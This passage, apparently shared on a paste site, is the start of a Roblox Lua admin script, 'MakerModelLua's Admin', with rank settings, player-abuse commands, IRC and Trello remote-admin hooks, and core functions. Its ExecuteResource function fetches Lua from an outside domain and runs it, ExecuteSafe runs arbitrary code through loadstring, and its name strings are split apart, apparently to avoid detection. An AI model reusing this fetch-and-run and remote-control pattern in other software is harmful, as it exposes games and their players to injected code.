· 6 years ago · Oct 12, 2019, 12:06 PM
1local Settings = {
2 Ranks = {
3 ["Owner"] = {"alfiebgtbhgh"};
4 ["Admin"] = {};
5 ["Member"] = {};
6 ["Banned"] = {};
7 ["Crashed"] = {};
8 ["Muted"] = {};
9 };
10
11 Prefix = ";";
12 Bet = " ";
13 MinimumAge = 0;
14 ServerLocked = false;
15 ColorScheme = "White";
16 TransparencyScheme = 50;
17 Fun = true;
18 EnableAdminMenu = true;
19 EnableTaskBar = true;
20 FreeAdmin = false;
21 Font = "Arial";
22
23 DisableAbuse = false;
24 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
25 AbusableGear = {};
26
27 LinkedAccount = "";
28 DataKey = "";
29
30 ExecuteNotificationSound = 0; --177578949
31 EnableSounds = true;
32
33 VIPMemberID = 0;
34 VIPAdminID = 0;
35
36 GroupID = 0;
37 GroupBanRank = 0;
38 GroupMemberRank = 0;
39 GroupAdminRank = 0;
40 GroupOwnerRank = 0;
41 GroupRankBan = 0;
42 BannedGroupIDs = {};
43
44 IRCServer = "";
45 IRCChannel = "";
46 IRCCommandExecuters = {};
47
48 TrelloToken = ""
49}
50
51local Colors = {
52 ["WHITE"] = Color3.new(1,1,1);
53 ["BLACK"] = Color3.new(0,0,0);
54 ["GRAY"] = Color3.new(0.5,0.5,0.5);
55 ["RED"] = Color3.new(1,0,0);
56 ["GREEN"] = Color3.new(0,1,0);
57 ["BLUE"] = Color3.new(0,0,1);
58 ["YELLOW"] = Color3.new(1,1,0);
59 ["PINK"] = Color3.new(1,0,1);
60 ["MAGENTA"] = Color3.new(1,0,1);
61 ["CYAN"] = BrickColor.new("Cyan").Color;
62 ["TEAL"] = BrickColor.new("Teal").Color;
63 ["BROWN"] = Color3.new(0.55,0.25,0.075);
64 ["PURPLE"] = Color3.new(0.5,0,0.5);
65 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
66}
67
68local Server = {
69 Workspace = game:GetService("Workspace");
70 Players = game:GetService("Players");
71 Lighting = game:GetService("Lighting");
72 MPS = game:GetService("MarketplaceService");
73 TS = game:GetService("TeleportService");
74 HS = game:GetService("HttpService");
75 RS = game:GetService("RunService");
76 PS = game:GetService("PointsService");
77 TestS = game:GetService("TestService");
78 IS = game:GetService("InsertService");
79 Teams = game:GetService("Teams");
80 Data = game:GetService("DataStoreService");
81 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
82 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
83 Storage = game:GetService("ServerStorage");
84 RS = game:GetService("ReplicatedStorage");
85 AS = game:GetService("AssetService");
86}
87
88local Icons = {
89 ["Message"] = 7724351;
90 ["Error"] = 94011556;
91 ["Information"] = 144175130;
92 ["Check"] = 132769976;
93 ["Search"] = 61994930;
94 ["Time"] = 136391033;
95 ["Notice"] = 156507320;
96 ["Sound"] = 164682936;
97 ["Log"] = 70650545;
98 ["Question"] = 41363872;
99 ["Output"] = 11481605;
100 ["Admin"] = 302470270;
101 ["Lock"] = 11341626;
102 ["Settings"] = 131064748;
103 ["Map"] = 257119661;
104 ["Plugin"] = 257097414;
105}
106
107local IRC = {
108 Codes = {
109 ["001"] = "RPL_WELCOME",
110 ["002"] = "RPL_YOURHOST",
111 ["003"] = "RPL_CREATED",
112 ["004"] = "RPL_MYINFO",
113 ["005"] = "RPL_ISUPPORT",
114 ["250"] = "RPL_STATSCONN",
115 ["251"] = "RPL_LUSERCLIENT",
116 ["252"] = "RPL_LUSEROP",
117 ["254"] = "RPL_LUSERCHANNELS",
118 ["255"] = "RPL_LUSERME",
119 ["265"] = "RPL_LOCALUSERS",
120 ["266"] = "RPL_GLOBALUSERS",
121 ["352"] = "RPL_WHOREPLY",
122 ["371"] = "RPL_INFO",
123 ["372"] = "RPL_MOTD",
124 ["374"] = "RPL_ENDINFO",
125 ["375"] = "RPL_MOTDSTART",
126 ["376"] = "RPL_ENDOFMOTD",
127 ["422"] = "ERR_NOMOTD",
128 },
129 Ignore = {
130 ["004"] = true,
131 ["005"] = true,
132 };
133 Users = {};
134 Logs = {};
135 Chats = {};
136 Forms = {};
137 MessageAdded = Instance.new("BindableEvent");
138
139 Servers = {
140 ["esper.net"] = {
141 BaseUrl = "http://webchat.esper.net/";
142 DynamicUrl = "";
143 };
144 ["quakenet.org"] = {
145 BaseUrl = "http://webchat.quakenet.org/";
146 DynamicUrl = "dynamic/leibniz",
147 };
148 ["swiftirc.net"] = {
149 BaseUrl = "http://qwebirc.swiftirc.net/";
150 DynamicUrl = "",
151 };
152 };
153 NickName = "rbxMMLV3_"..math.random(1,100000);
154
155 SessionCounter = 0;
156 Connected = false;
157 Stop = false;
158 SessionID = "";
159}
160
161local RankHUD = {
162 ["Muted"] = 202180094;
163 ["Non-Admin"] = 202180121;
164 ["Member"] = 202180052;
165 ["Admin"] = 202180015;
166 ["Owner"] = 202179988;
167}
168
169local TextConverter = {
170 LetterSounds = {
171 ["a"] = {223757826, nil}; -- 203343899
172 ["b"] = {223533700, 0.2}; -- 203344029
173 ["c"] = {223533711, nil}; -- 203343994
174 ["d"] = {223757910, nil}; -- 203398237
175 ["e"] = {223758026, nil}; -- 203398295
176 ["f"] = {223777655, nil}; -- 203398347
177 ["g"] = {223777738, nil}; -- 203398372
178 ["h"] = {223777757, nil}; -- 203398397
179 ["i"] = {223777807, nil}; -- 203398422
180 ["j"] = {223782888, nil}; -- 203398450
181 ["k"] = {223533711, nil}; -- 203343994
182 ["l"] = {223782961, 0.4}; -- 203398541
183 ["m"] = {223782992, nil}; -- 203398578
184 ["n"] = {223783063, nil}; -- 203398599
185 ["o"] = {223783184, nil}; -- 203398611
186 ["p"] = {223783235, nil}; -- 203398727
187 ["q"] = {223783260, nil}; -- 203398755
188 ["r"] = {223783305, 0.2}; -- 203398792
189 ["s"] = {223783377, nil}; -- 203398806
190 ["t"] = {223783446, nil}; -- 203398850
191 ["u"] = {223783512, nil}; -- 203398872
192 ["v"] = {223783654, nil}; -- 203398965
193 ["w"] = {223783697, nil}; -- 203398984
194 ["x"] = {223783796, nil}; -- 203399008
195 ["y"] = {223783853, nil}; -- 203399043
196 ["z"] = {223783893, nil}; -- 203399096
197
198 ["ch"] = {223784367, 0.3}; -- 203592149
199 ["th"] = {223788235, 0.3}; -- 203399215
200 ["sh"] = {223784505, 0.2}; -- 203399566
201 ["wh"] = {223784555, 0.3}; -- 203622828
202 ["oo"] = {223784456, 0.3}; -- 203399743
203 ["ing"] = {223784393, 0.3}; -- 203402836
204 };
205
206 LongVowels = {
207 ["a"] = {223533687, nil}; -- 203343932
208 ["e"] = {223777620, nil}; -- 203398314
209 ["i"] = {223777855, nil}; -- 203398440
210 ["o"] = {223783212, nil}; -- 203398619
211 ["u"] = {223783572, nil}; -- 203398897
212 };
213
214 Pronounce = {
215 ["0"] = "zero";
216 ["1"] = "wun";
217 ["2"] = "too";
218 ["3"] = "three";
219 ["4"] = "four";
220 ["5"] = "five";
221 ["6"] = "six";
222 ["7"] = "seven";
223 ["8"] = "eyt";
224 ["9"] = "nine";
225 ["one"] = "wun";
226 ["two"] = "too";
227 ["eight"] = "eyt";
228 ["eigh"] = "ey";
229 ["gh"] = "h";
230 ["kn"] = "n";
231 ["come"] = "cu".."m";
232 ["bye"] = "bi";
233 ["#"] = "hashtag";
234 ["@"] = "at";
235 ["&"] = "and";
236 ["*"] = "astrict";
237 ["mn"] = "m";
238 ["kn"] = "n";
239 ["ies"] = "ees";
240 };
241
242 NonEnglishRules = {
243 ["to"] = "too";
244 ["you"] = "yoo";
245 ["we"] = "wee";
246 ["are"] = "erh";
247 ["your"] = "yoor";
248 ["you're"] = "yoor";
249 ["youre"] = "yoor";
250 ["pizza"] = "peetzoh";
251 ["ok"] = "okay";
252 ["have"] = "hav";
253 ["my"] = "mi";
254 ["me"] = "mee";
255 ["u"] = "yoo";
256 ["r"] = "erh";
257 ["move"] = "moov";
258 ["dove"] = "duv";
259 ["debris"] = "debree";
260 ["do"] = "doo";
261 }
262}
263
264local HTMLDecode = {
265 ["35"] = "#";
266 ["36"] = "$";
267 ["37"] = "%%";
268 ["38"] = "*";
269 ["39"] = "'";
270 ["58"] = ":";
271 ["59"] = ";";
272 ["60"] = "<";
273 ["62"] = ">";
274}
275
276
277local Assets = {
278 Packages = {
279 [27112438] = {27112025,27112039,27112052,27112056,27112068};
280 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
281 [77518833] = {77518564,77518616,77518654,77518696,77518737};
282 [32336368] = {32336059,32336117,32336182,32336243,32336306};
283 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
284 [54116460] = {54116290,54116338,54116373,54116394,54116432};
285 [39977366] = {39976703,39976829,39976927,39977192,39977295};
286 [32357766] = {32357663,32357631,32357619,32357584,32357558};
287 [27123973] = {27121265,27121306,27121353,27121393,27121432};
288 [55717536] = {55717271,55717330,55717388,55717434,55717491};
289 [28279963] = {28279160,28279217,28279859,28279894,28279938};
290 [27403592] = {27402580,27402546,27402641,27402714,27402742};
291 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
292 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
293 [48474394] = {48474356,48474294};
294 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
295 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
296 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
297 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
298 [33378577] = {33378366,33378438,33378484,33378522,33378540};
299 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
300 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
301 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
302 [41851073] = {41850825,41850868,41850915,41851009,41850959}
303 };
304 AssetTypes = {
305 [0] = "Product";
306 [1] = "Image";
307 [2] = "T-Shirt";
308 [3] = "Audio";
309 [4] = "Mesh";
310 [5] = "Lua";
311 [6] = "HTML";
312 [7] = "Text";
313 [8] = "Hat";
314 [9] = "Place";
315 [10] = "Model";
316 [11] = "Shirt";
317 [12] = "Pants";
318 [13] = "Decal";
319 [16] = "Avatar";
320 [17] = "Head";
321 [18] = "Face";
322 [19] = "Gear";
323 [21] = "Badge";
324 [22] = "Group Emblem";
325 [24] = "Animation";
326 [25] = "Arms";
327 [26] = "Legs";
328 [27] = "Torso";
329 [28] = "Right Arm";
330 [29] = "Left Arm";
331 [30] = "Left Leg";
332 [31] = "Right Leg";
333 [32] = "Package";
334 [33] = "YouTube Video";
335 [34] = "Game Pass";
336 [38] = "Plugin";
337 [39] = "SolidModel";
338 [40] = "MeshPart";
339 [41] = "Hair Accessory";
340 [42] = "Face Accessory";
341 [43] = "Neck Accessory";
342 [44] = "Shoulder Accessory";
343 [45] = "Front Accessory";
344 [46] = "Back Accessory";
345 };
346 AccessoryTypes = {
347 ["all"] = 19;
348 ["hats"] = 9;
349 ["hair"] = 20;
350 ["face"] = 21;
351 ["neck"] = 22;
352 ["shoulder"] = 23;
353 ["front"] = 24;
354 ["back"] = 25;
355 ["waist"] = 26;
356 };
357}
358
359local CharacterCache = {
360 {"MakerModelLua", 38837082};
361 {"LuaModelMaker", 20920633};
362 {"builderman", 156};
363 {"Shedletsky", 261};
364 {"Telamon", 13645};
365 {"ROBLOX", 1};
366}
367
368local FaceCovert = {
369 Left = "xpos";
370 Right = "xneg";
371 Front = "zpos";
372 Back = "zneg";
373 Top = "ypos";
374 Bottom = "yneg";
375}
376
377local Meshes = {
378 ["crown"] = {1, 1078075};
379 ["king"] = {1, 11419761};
380 ["teapot"] = {0.03, 1029523};
381 ["apple"] = {2.5, 16190555};
382 ["potato"] = {1, 25268275};
383 ["panda"] = {0.5, 20709221};
384 ["dominus"] = {0.5, 21057410};
385 ["fedora"] = {0.75, 13640868};
386 ["noob"] = {1, 20929341};
387 ["knife"] = {0.3, 121944778};
388 ["book"] = {0.3, 1136139};
389}
390
391local NotifySounds = {
392 ["Hover"] = 223134269;
393 ["Select"] = 292141227;
394}
395
396local Trello = {
397 TrelloInfoCard = "x1rUtwEj";
398 MainBoard = {};
399 RequiredLists = {};
400 RankChecklistCache = {};
401 ToggleChecklist = nil;
402 CommandID = nil;
403 LastCommandDT = 0;
404 AdminBoardID = "577ea1b21cb7975666524f26";
405 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
406 RemoteDataCard = "dLtMo1en"
407}
408
409local ScriptBuilders = {
410 [260897989] = "MML's";
411 [21053279] = "Anti's pub";
412 [21053219] = "Anti's pri";
413 [20279777] = "Void's 1";
414 [437965235] = "Void's 2";
415 [227015991] = "Vox's";
416 [210101277] = "Master's";
417 [531937877] = "Bleu pigs";
418 [519251450] = "Game's";
419}
420
421-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
422-- Why else would I NOT have put it in a module?!?!?
423
424local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
425
426local SoundList,GlobalSoundList = {},{}
427local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
428local TempChatLogs = {}
429local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
430local NoSpeak = false
431
432local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
433local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
434
435local ChatLogs,CommandLogs = {},{}
436local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
437local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
438local Dispose,Jails,PermCommandBars = {},{},{}
439local Waypoints = {["Center"] = Vector3.new(0,0,0)}
440local Objects = {}
441local Sound = nil
442local ModLighting = false
443local DataReady = true
444local RemoteAbuseGear = {}
445
446local GameOwner = "[ Client ]"
447local PlaceName = "Unknown"
448local PlaceInfo = {}
449local IsStudio = false
450local IsSB = false
451local Date = nil
452local Fonts = {}
453local PendingRequests = {}
454local F3X = script:FindFirstChild("F3X Tools")
455local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
456local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
457local KeyBinds = {}
458local Crowns = {}
459local LastKeys = {}
460local Cars = {}
461local StringReplacements = {}
462local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
463local NoBet = {"/", "-", "(", ")", ""}
464local ShouldFilter = true
465
466local CrownStorage = script:FindFirstChild("CrownStorage")
467if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
468
469-- import old settings just in case --
470local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
471if OldSettings then
472 OldSettings = require(OldSettings)
473
474 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
475 Settings[ValName] = OldSettings[ValName]
476 end
477 Settings.GroupBanRank = OldSettings.RankBan
478 Settings.Fun = OldSettings.FUN
479end
480
481if F3X then
482 F3X = F3X:Clone()
483 F3X.Handle.Anchored = false
484 script:FindFirstChild("F3X Tools"):Destroy()
485end
486
487wait(0.1)
488
489local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
490-- tries to defualt to server storage, just in case an exploiter makes their own settings.
491
492if SettingsValues then
493 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
494 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
495 for _,Value in pairs(SettingsValues:GetChildren()) do
496 if Settings[Value.Name] ~= nil then
497 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
498 for _,NewValue in pairs(Value:GetChildren()) do
499 if ypcall(function() return NewValue.Value end) then
500 if Settings[Value.Name][NewValue.Name] then
501 local Val = NewValue.Value
502 if type(Settings[Value.Name][NewValue.Name]) == "table" then
503 Val = {}
504 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
505 table.insert(Val, Word)
506 end
507 end
508 Settings[Value.Name][NewValue.Name] = Val
509 end
510 end
511 end
512 else
513 if Settings[Value.Name] ~= nil then
514 local Val = Value.Value
515 if type(Settings[Value.Name]) == "table" then
516 Val = {}
517 for Word in string.gmatch(Value.Value, "%w+") do
518 table.insert(Val, Word)
519 end
520 end
521 Settings[Value.Name] = Val
522 end
523 end
524 end
525 end
526 end
527end
528
529if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
530 Settings.LinkedAccount = ""
531elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
532 Settings.LinkedAccount = "Admin"
533end
534
535local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
536local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
537
538wait(1)
539
540local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
541
542if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
543
544if not IsStudio then
545 Server.NS = game:GetService("NetworkServer")
546 script.Name = "Maker".."Mo".."delLua's Admin"
547end
548
549if game.PlaceId > 0 then
550 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
551 PlaceName = PlaceInfo.Name
552end
553
554local function GetGameOwner()
555 if PlaceInfo.Creator.CreatorType == "Group" then
556 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
557 print("MML's Admin: Found group owner for game: "..GameOwner)
558 elseif PlaceInfo.Creator.CreatorType == "User" then
559 GameOwner = PlaceInfo.Creator.Name
560 print("MML's Admin: Found game owner: "..GameOwner)
561 else
562 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
563 end
564end
565
566if string.byte(string.sub(PlaceName,1,1)) == 226 then
567 PlaceName = string.sub(PlaceName,4,#PlaceName)
568end
569for i = 1,5 do
570 if GameOwner == "[ Client ]" then
571 print("MML's Admin: Attempting to establish owner's name #"..i)
572 GetGameOwner()
573 wait(1)
574 end
575end
576
577if ScriptBuilders[PlaceID] or NLS then
578 IsSB = true
579end
580
581if IsSB then
582 ShouldFilter = false
583 Settings.IRCServer = "swiftirc.net";
584 Settings.IRCChannel = "#PkamaraSB";
585 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
586 if Settings.TrelloToken == "" then
587 Settings.LinkedAccount = "ScriptBuilder"
588 end
589 if Settings.DataKey == "" then coroutine.wrap(function()
590 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
591 local Key = Server.Storage:FindFirstChild("MML DataKey")
592 print("Found key: "..Key.Value)
593 Settings.DataKey = Key.Value
594 Key:Destroy()
595 end)() end
596end
597local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
598table.insert(Settings.Ranks["Owner"], GameOwner)
599
600for _,Font in pairs(Enum.Font:GetEnumItems()) do
601 Fonts[Font.Name] = Font
602end
603
604local LogClient = script:FindFirstChild("AddClientInfo")
605if LogClient then LogClient:Destroy() end
606LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
607LogClient.OnServerInvoke = function(Player, Info)
608 if Info then
609 for Key,Data in pairs(Info) do
610 ClientInfo[Player.Name][Key] = Data
611 end
612 end
613end
614
615local function MakeFunction(Type, Name)
616 local Func = script:FindFirstChild(Name)
617 if Func then Func:Destroy() end
618 Func = Instance.new(Type, script) Func.Name = Name
619
620 getfenv()[Name] = Func
621 return Func
622end
623
624MakeFunction("BindableFunction", "ExecuteCommand")
625MakeFunction("RemoteFunction", "ExecuteCommandClient")
626MakeFunction("BindableFunction", "ExecuteCode")
627
628MakeFunction("RemoteFunction", "IsAdmin")
629MakeFunction("RemoteFunction", "AddExploit")
630MakeFunction("BindableFunction", "AddExploitServer")
631MakeFunction("RemoteFunction", "KickClient")
632MakeFunction("RemoteFunction", "ConvertTextToSound")
633
634MakeFunction("RemoteFunction", "KeyPressed")
635MakeFunction("RemoteFunction", "InputKey")
636
637MakeFunction("RemoteFunction", "RankPlayerLocal")
638MakeFunction("BindableFunction", "RankPlayerServer")
639
640--[[
641if NLS then
642 local Value = script:FindFirstChild("Override")
643 LogClient.Parent = game
644 if not Value then
645 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
646 local CloneScript = script:Clone()
647 CloneScript.Disabled = true
648 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
649 CloneScript.Disabled = false
650 CloneScript.Parent = nil
651
652 script:Destroy() script.Disabled = true
653 end
654end
655]]
656
657if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
658
659IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
660
661-- Core functions --
662
663function CORE:FixSettings()
664 for _,Bet in pairs(NoBet) do
665 if Settings.Bet == Bet then
666 Settings.Bet = " "
667 break
668 end
669 end
670 CORE:ChangeBet(Settings.Bet)
671
672 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
673 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
674
675 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
676 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
677 Settings.TransparencyScheme = Settings.TransparencyScheme/100
678
679 if not Fonts[Settings.Font] then
680 Settings.Font = "Arial"
681 end
682end
683
684function CORE:NilPlayer(Player)
685 if Player == nil or type(Player) == "table" then return true else return false end
686end
687
688function CORE:ExecuteResource(ResourceName, Parent, Data)
689 local ReturnScript = nil
690 local Executed = true
691 if script:FindFirstChild("Resources") then
692 local RawResource = script.Resources:FindFirstChild(ResourceName)
693 if RawResource then
694 local Resource = RawResource:Clone()
695 Resource.Disabled = true
696 Resource.Parent = Parent
697 if Data then
698 for Key,Value in pairs(Data) do
699 if Resource[Key] then
700 Resource[Key].Value = Value
701 end
702 end
703 end
704 wait()
705 Resource.Disabled = false
706 ReturnScript = Resource
707 else
708 Executed = false
709 end
710 else
711 Executed = false
712 end
713 if Executed == false then
714 if not Data then Data = {} end
715 local Source = ScriptCache[ResourceName]
716
717 if not Source then
718 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
719 if Source then
720 ScriptCache[ResourceName] = Source
721 end
722 end
723
724 if Data and Source then
725 for Key,Value in pairs(Data) do
726 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
727 end
728 end
729
730 if Source then
731 if NLS then
732 ReturnScript = NLS(Source, Parent)
733 elseif createLocalScriptWithSource then
734 ReturnScript = createLocalScriptWithSource(Source)
735 ReturnScript.Parent = Parent
736 end
737 end
738 end
739 return ReturnScript
740end
741
742function CORE:CreateRemotePropertyReader(Obj, Override)
743 if Server.Workspace.FilteringEnabled == true or Override then
744 local Reader = Instance.new("RemoteFunction", Obj)
745 Reader.Name = "RemotePropertyReader"
746 CORE:ExecuteResource("RemotePropertyReader", Reader)
747 return Reader
748 else
749 return Obj
750 end
751end
752
753function CORE:ReadProperty(Reader, Player, Property)
754 if Reader:IsA("RemoteFunction") then
755 return Reader:InvokeClient(Player, Property)
756 else
757 return Reader[Property]
758 end
759end
760
761function CORE:WriteProperty(Reader, Player, Property, Value)
762 if Reader:IsA("RemoteFunction") then
763 return Reader:InvokeClient(Player, Property, Value)
764 else
765 return Reader[Property]
766 end
767end
768
769
770function CORE:CreateRemoteEvent(Obj, EventName)
771 local Event = Instance.new("RemoteEvent", Obj)
772 Event.Name = "RemoteEvent_"..EventName
773 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
774 return Event
775end
776
777function CORE:HandleEvent(Obj, EventName, Func, NewThread)
778 local function Handle()
779 if Server.Workspace.FilteringEnabled == true then
780 local Event = CORE:CreateRemoteEvent(Obj, EventName)
781 return Event.OnServerEvent:connect(function(Player, ...)
782 Func(...)
783 end)
784 else
785 return Obj[EventName]:connect(Func)
786 end
787 end
788 if NewThread then
789 Spawn(Handle)
790 else
791 Handle()
792 end
793end
794
795function CORE:HandleError(Error, Speaker)
796 local Return = ""
797 if not Error or Error == "" then
798 Return = "Unknown Error"
799 else
800 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
801 end
802 if Speaker then
803 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
804 end
805 return Return
806end
807
808local function ExecuteSafe(Source, Speaker) -- no CORE
809 local Script, Error = loadstring(Source)
810 if Error then
811 return false, CORE:HandleError(Error, Speaker)
812 else
813 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
814 getfenv(Script).Server, getfenv(Script).script = Server,script
815 if Speaker then
816 getfenv(Script).print = function(...)
817 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
818 end
819 getfenv(Script).print_array = function(List)
820 if type(List) == "table" then
821 GUI:ListGui(Speaker, "Listed Table", List, "Output")
822 end
823 end
824 end
825
826 local Suc, Error = ypcall(coroutine.wrap(Script))
827
828 if not Suc then
829 Error = CORE:HandleError(Error, Speaker)
830 end
831
832 return Suc,Error
833 end
834end
835
836function CORE:GetTime(Regular, FullDate)
837 if Regular == nil then Regular = true end
838 local Meridiem = ""
839 if Regular == true then Meridiem = " AM" end
840 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
841 local Hour = math.floor(SecondsOfToday / (60*60))
842 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
843 local Second = math.floor(math.fmod(SecondsOfToday, 60))
844 if Hour > 12 and Regular == true then
845 Hour = Hour - 12
846 Meridiem = " PM"
847 end
848 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
849 if #Hour <= 1 then Hour = "0"..Hour end
850 if #Minute <= 1 then Minute = "0"..Minute end
851 if #Second <= 1 then Second = "0"..Second end
852 local Return = Hour..":"..Minute..":"..Second..Meridiem
853 if FullDate == true and Date then Return = Date.." "..Return end
854 return Return
855end
856
857function CORE:RemoveAdmin(Speaker)
858 local Answer = true -- false
859 if not CORE:NilPlayer(Speaker) then
860 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
861 end
862 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
863 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
864 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
865 for _,Item in pairs(Player:GetChildren()) do
866 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
867 Item:Destroy()
868 end
869 end
870 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
871 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
872 GUI:Destroy()
873 end
874 end
875 end end
876 for _,Car in pairs(Cars) do
877 Car:Destroy()
878 end
879 CORE:FixLighting()
880 while wait() do
881 if script:FindFirstChild("Override") then script.Override.Value = true end
882 Settings,CORE,IRC = nil,{},{}
883 if Sound then Sound:Stop() end
884 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
885 script:ClearAllChildren() script:Destroy() script.Disabled = true
886 end
887 end
888end
889
890function CORE:MakeBase()
891 for _,Get in pairs(Workspace:GetChildren()) do
892 if Get.Name == "Base" or Get.Name == "BasePlate" then
893 Get:Destroy()
894 end
895 end
896 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
897end
898
899function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
900 if IsAbusive == nil then IsAbusive = false end
901 if Commands[CommandName] then table.remove(Commands[CommandName]) end
902 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
903end
904
905function CORE:FixLighting() coroutine.wrap(function()
906 ModLighting = false
907 wait(0.2)
908 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
909 Server.Lighting.FogColor = Color3.new(0,0,0)
910 Server.Lighting.Brightness = 1
911 Server.Lighting.TimeOfDay = 14
912 Server.Lighting.FogEnd = 100000
913end)() end
914
915function CORE:Round(Number)
916 if Number >= 0.5 then
